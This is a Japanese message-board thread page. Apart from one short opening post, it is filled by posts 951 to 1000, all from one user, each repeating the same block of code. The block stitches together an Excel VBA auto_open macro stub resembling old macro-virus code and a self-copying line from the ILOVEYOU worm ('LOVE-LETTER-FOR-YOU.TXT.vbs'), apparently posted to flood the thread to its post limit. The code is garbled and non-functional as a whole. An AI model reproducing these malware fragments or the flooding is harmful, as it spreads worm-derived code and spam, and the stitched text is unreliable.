したらばTOP ■掲示板に戻る■ 全部 1-100 最新50 | |
レス数が1スレッドの最大レス数(1000件)を超えています。残念ながら投稿することができません。

【福井】恐喝まがい値切 り、こゆママ 、キャラ弁★22 【K5発狂】

1：番組の途中ですが名無しです：2011/02/12(土) 00:30:43 ID:FpaVdmcs
以上、誰も書き込まない糞スレでした
951：番組の途中ですが名無しです：2012/03/16(金) 13:41:06 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

952：番組の途中ですが名無しです：2012/03/16(金) 13:41:37 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

953：番組の途中ですが名無しです：2012/03/16(金) 13:42:10 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

954：番組の途中ですが名無しです：2012/03/16(金) 13:42:41 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

955：番組の途中ですが名無しです：2012/03/16(金) 13:43:12 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

956：番組の途中ですが名無しです：2012/03/16(金) 13:43:44 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

957：番組の途中ですが名無しです：2012/03/16(金) 13:44:15 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

958：番組の途中ですが名無しです：2012/03/16(金) 13:44:46 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

959：番組の途中ですが名無しです：2012/03/16(金) 13:45:18 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

960：番組の途中ですが名無しです：2012/03/16(金) 13:45:49 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

961：番組の途中ですが名無しです：2012/03/16(金) 13:46:20 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

962：番組の途中ですが名無しです：2012/03/16(金) 13:46:52 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

963：番組の途中ですが名無しです：2012/03/16(金) 13:47:23 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

964：番組の途中ですが名無しです：2012/03/16(金) 13:47:54 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

965：番組の途中ですが名無しです：2012/03/16(金) 13:48:25 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

966：番組の途中ですが名無しです：2012/03/16(金) 13:48:58 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

967：番組の途中ですが名無しです：2012/03/16(金) 13:49:28 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

968：番組の途中ですが名無しです：2012/03/16(金) 13:49:59 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

969：番組の途中ですが名無しです：2012/03/16(金) 13:50:31 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

970：番組の途中ですが名無しです：2012/03/16(金) 13:51:02 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

971：番組の途中ですが名無しです：2012/03/16(金) 13:51:33 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

972：番組の途中ですが名無しです：2012/03/16(金) 13:52:06 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

973：番組の途中ですが名無しです：2012/03/16(金) 13:52:37 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

974：番組の途中ですが名無しです：2012/03/16(金) 13:53:07 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

975：番組の途中ですが名無しです：2012/03/16(金) 13:53:39 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

976：番組の途中ですが名無しです：2012/03/16(金) 13:54:10 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

977：番組の途中ですが名無しです：2012/03/16(金) 13:54:41 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

978：番組の途中ですが名無しです：2012/03/16(金) 13:55:13 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

979：番組の途中ですが名無しです：2012/03/16(金) 13:55:45 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
980：番組の途中ですが名無しです：2012/03/16(金) 13:56:16 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

981：番組の途中ですが名無しです：2012/03/16(金) 13:56:47 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

982：番組の途中ですが名無しです：2012/03/16(金) 13:57:20 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

983：番組の途中ですが名無しです：2012/03/16(金) 13:57:51 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

984：番組の途中ですが名無しです：2012/03/16(金) 13:58:22 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

985：番組の途中ですが名無しです：2012/03/16(金) 13:58:54 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

986：番組の途中ですが名無しです：2012/03/16(金) 13:59:25 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

987：番組の途中ですが名無しです：2012/03/16(金) 13:59:57 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

988：番組の途中ですが名無しです：2012/03/16(金) 14:00:29 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

989：番組の途中ですが名無しです：2012/03/16(金) 14:01:00 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

990：番組の途中ですが名無しです：2012/03/16(金) 14:01:31 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

991：番組の途中ですが名無しです：2012/03/16(金) 14:02:02 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

992：番組の途中ですが名無しです：2012/03/16(金) 14:02:33 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

993：番組の途中ですが名無しです：2012/03/16(金) 14:03:04 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

994：番組の途中ですが名無しです：2012/03/16(金) 14:03:35 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

995：番組の途中ですが名無しです：2012/03/16(金) 14:04:06 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

996：番組の途中ですが名無しです：2012/03/16(金) 14:04:37 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

997：番組の途中ですが名無しです：2012/03/16(金) 14:05:09 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

998：番組の途中ですが名無しです：2012/03/16(金) 14:05:40 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

999：番組の途中ですが名無しです：2012/03/16(金) 14:06:11 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

1000：番組の途中ですが名無しです：2012/03/16(金) 14:06:42 ID:gS1wqBrk
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

掲示板管理者へ連絡 無料レンタル掲示板